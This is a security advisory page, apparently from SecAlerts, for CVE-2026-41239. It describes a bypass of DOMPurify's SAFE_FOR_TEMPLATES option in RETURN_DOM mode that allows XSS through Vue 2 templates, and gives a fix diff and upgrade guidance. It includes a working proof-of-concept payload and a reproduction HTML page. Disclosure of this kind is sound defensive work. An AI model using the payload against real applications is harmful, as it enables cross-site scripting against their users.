CVE-2026-41239: DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

Published Apr 22, 2026
·
Updated

Summary

| Field | Value | |:------|:------| | Severity | Medium | | Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |

SAFEFORTEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURNDOM or RETURNDOMFRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):

js // pass #1: runs on every text node during tree walk if (SAFEFORTEMPLATES && currentNode.nodeType === NODETYPE.text) { content = currentNode.textContent; content = content.replace(MUSTACHEEXPR, ' '); // {{...}} -> ' ' content = content.replace(ERBEXPR, ' '); // <%...%> -> ' ' content = content.replace(TMPLITEXPR, ' '); // ${... -> ' ' currentNode.textContent = content; }

2. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURNDOM path returns before pass #2 ever runs (purify.ts:1637-1661):

js // purify.ts (simplified)

if (RETURNDOM) { // ... build returnNode ... return returnNode; // <-- exits here, pass #2 never runs }

// pass #2: only reached by string-mode callers if (SAFEFORTEMPLATES) { serializedHTML = serializedHTML.replace(MUSTACHEEXPR, ' '); } return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it 2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text 3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

html <!DOCTYPE html> <html>

<body> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script> <script> var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>'; var dom = DOMPurify.sanitize(dirty, { SAFEFORTEMPLATES: true, RETURNDOM: true }); document.body.appendChild(dom.firstChild); new Vue({ el: '#app' }); </script> </body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFEFORTEMPLATES: true and RETURNDOM: true (or RETURNDOMFRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURNDOM and RETURNDOMFRAGMENT.

diff if (RETURNDOM) { + if (SAFEFORTEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHEEXPR, ERBEXPR, TMPLITEXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURNDOMFRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument);

Other sources

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFEFORTEMPLATES strips {

IBM

Affected Software

3 affected componentsFixes available
npm/dompurify>=1.0.10<3.4.0
3.4.0
IBM Db2 Genius Hub<=1.1, 1.1.1, 1.1.2
IBM Agentics<=1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/dompurify to a version that resolves this vulnerability.

    Fixed in 3.4.0
  2. Upgrade

    Upgrade DOMPurify to a version that resolves this vulnerability.

    Fixed in 3.4.0

Event History

Apr 22, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Apr 23, 2026
CVE Published
via MITRE·02:47 PM
Data Sourced
via MITRE·02:47 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness
Jul 13, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-41239?

The severity of CVE-2026-41239 is classified as Medium.

2

Which version of DOMPurify is affected by CVE-2026-41239?

CVE-2026-41239 affects DOMPurify versions from 1.0.10 up to but not including 3.4.0.

3

How do I fix CVE-2026-41239?

To fix CVE-2026-41239, upgrade DOMPurify to version 3.4.0 or later.

4

What software does CVE-2026-41239 impact?

CVE-2026-41239 impacts the DOMPurify package.

5

When was CVE-2026-41239 introduced?

CVE-2026-41239 was introduced in version 1.0.10 of DOMPurify.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203